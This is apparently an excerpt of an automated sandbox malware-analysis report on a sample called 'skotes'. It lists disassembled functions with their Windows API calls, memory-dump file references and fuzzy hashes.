Instruction Fuzzy Hash: 1E314471A042408BEF18DBBCDDC9BADB7A2EFC6314F64861CE015A73D5C7359A848751

Function 00199F44 Relevance: 4.6, APIs: 3, Instructions: 137sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00199F47
Sleep.KERNEL32(00000064,?), ref: 0019A963
CreateMutexA.KERNEL32(00000000,00000000,001F3254), ref: 0019A981

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 5144da412b54691c2b5324324e3cf4da7275d50419c99d4d7b936c43e93dad47
Instruction ID: 1acd999c495de75d226ec66c899af6e2f3ba1e9c45f9fd5cae1241ab3c2ebd16
Opcode Fuzzy Hash: 5144da412b54691c2b5324324e3cf4da7275d50419c99d4d7b936c43e93dad47
Instruction Fuzzy Hash: 1E3166316042008BEF189B7CDD99BADBB62EF86314F648618F019EB2D1C73699848792

Function 0019A079 Relevance: 4.6, APIs: 3, Instructions: 136sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0019A07C
Sleep.KERNEL32(00000064,?), ref: 0019A963
CreateMutexA.KERNEL32(00000000,00000000,001F3254), ref: 0019A981

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 90d0aa118b1384aef52a0a54e45ca9745fb42d6c4a75b7395238b969ce9848b5
Instruction ID: 02bb5fb87722eec409736f82efe61ad376d2dad0f2f5227883a4861b59740fb2
Opcode Fuzzy Hash: 90d0aa118b1384aef52a0a54e45ca9745fb42d6c4a75b7395238b969ce9848b5
Instruction Fuzzy Hash: 09318831B042009BEF18DB78DD89B6DB772EFC2314F648228E015D73D1C736A9888792

Function 0019A1AE Relevance: 4.6, APIs: 3, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0019A1B1
Sleep.KERNEL32(00000064,?), ref: 0019A963
CreateMutexA.KERNEL32(00000000,00000000,001F3254), ref: 0019A981

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 7f97774291d1805c303f80b1d1fe909d6e8564d7f47df19f494fb98d195f39ea
Instruction ID: 3d26be2de08545793ea7e8df001ecce553ca872140573ab46e5b6cc81998d478
Opcode Fuzzy Hash: 7f97774291d1805c303f80b1d1fe909d6e8564d7f47df19f494fb98d195f39ea
Instruction Fuzzy Hash: E4315931A041409BEF18DB78DD89B6DB772EFD6314FA48628E014AB3D1C73699888792

Function 0019A2E3 Relevance: 4.6, APIs: 3, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0019A2E6
Sleep.KERNEL32(00000064,?), ref: 0019A963
CreateMutexA.KERNEL32(00000000,00000000,001F3254), ref: 0019A981

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293236225.0000000000388000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293359413.0000000000389000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293505785.0000000000391000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293651961.0000000000392000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293779776.0000000000399000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293901819.000000000039B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294061382.00000000003AF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294182850.00000000003BD000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294356300.00000000003BE000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294443535.00000000003C4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294488488.00000000003DF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294531842.00000000003E2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294594544.00000000003E4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294638728.00000000003EA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294681658.00000000003F4000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294772443.00000000003F9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294836463.00000000003FF000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294902860.0000000000400000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3294988378.0000000000407000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295045530.0000000000408000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295108835.0000000000409000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295191460.000000000040D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295260165.0000000000416000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295325814.0000000000418000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295410775.0000000000419000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295496675.000000000041E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295605536.000000000041F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295667034.0000000000423000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295734741.000000000042A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295782648.000000000042E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295847085.000000000043F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295901019.0000000000440000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3295958733.0000000000441000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.0000000000443000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296019119.000000000046C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296198470.0000000000485000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3296923976.0000000000486000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297085997.0000000000487000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297170705.0000000000489000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297259736.000000000049D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297348474.000000000049F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297408502.00000000004A0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297470944.00000000004A4000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297531165.00000000004A6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297596635.00000000004B5000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3297661351.00000000004B6000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_190000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID:
API String ID: 396266464-0
Opcode ID: 468c8014b2a459dbbbb927c09fec389f71fd161f1141f2f04bd9424690bacf6d
Instruction ID: 174d5e6b4a494ddc53065ce865f27ce90dfd564684d1e3a01ace16701dc66bd1
Opcode Fuzzy Hash: 468c8014b2a459dbbbb927c09fec389f71fd161f1141f2f04bd9424690bacf6d
Instruction Fuzzy Hash: 863179316042409BEF189B78DD89B6DB772FFD2314FA08218E015A77D5C7369A888792

Function 0019A418 Relevance: 4.6, APIs: 3, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0019A41B
Sleep.KERNEL32(00000064,?), ref: 0019A963
CreateMutexA.KERNEL32(00000000,00000000,001F3254), ref: 0019A981

Memory Dump Source

Source File: 00000006.00000002.3289264345.0000000000191000.00000040.00000001.01000000.00000008.sdmp, Offset: 00190000, based on PE: true

Associated: 00000006.00000002.3289107438.0000000000190000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289264345.00000000001F2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289818825.00000000001F9000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3289911017.00000000001FB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290047679.0000000000205000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290167225.0000000000206000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3290311791.0000000000207000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291362134.0000000000361000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291485880.0000000000363000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.0000000000371000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3291629008.000000000037D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3292969573.0000000000385000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3293094986.0000000000387000.00000040.00000001.01000000.00000008.sdmpDownload File
